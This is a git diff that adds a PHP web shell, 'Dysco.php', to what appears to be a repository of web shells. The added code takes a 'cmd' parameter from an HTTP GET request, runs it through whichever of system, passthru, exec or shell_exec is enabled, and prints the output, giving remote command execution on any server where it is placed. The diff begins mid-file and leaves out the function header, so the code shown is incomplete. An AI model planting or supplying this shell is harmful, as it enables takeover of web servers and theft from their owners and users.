diff --git a/Web-Shells/PHP/Dysco.php b/Web-Shells/PHP/Dysco.php
new file mode 100644
index 00000000..dae45f9f
--- /dev/null
+++ b/Web-Shells/PHP/Dysco.php
@@ -0,0 +1,59 @@
+";
+ foreach($f_enabled as $f)
+ {
+ echo $f." ";
+ }
+
+ if($f_enabled !== ""){
+ $f = $f_enabled[0];
+ echo "
\nUsing ". $f. " as shell command\n
";
+
+ if($f == "system" || $f == "passthru"){
+ // disable multiple output for system
+ ob_start();
+ $output = $f($command, $status);
+ ob_clean();
+ }
+ else if($f == "exec"){
+ $f($command, $output, $status);
+ $output = implode("n", $output);
+ }
+ else if($f == "shell_exec"){
+ $output = $f($command);
+ }
+ else{
+ $output = "Command execution not possible. All supported function is disabled.";
+ $status = 1;
+ }
+
+ }
+
+ return array('output' => $output , 'status' => $status);
+}
+
+// for HTTP GET use this.
+
+if(isset($_GET['cmd'])){
+ $o = Dysco($_GET['cmd']);
+ echo $o['output'];
+}
+
+// for debugging in local, use this
+
+//$o = shell_spawn('uname -a');
+//echo $o['output'];
+?>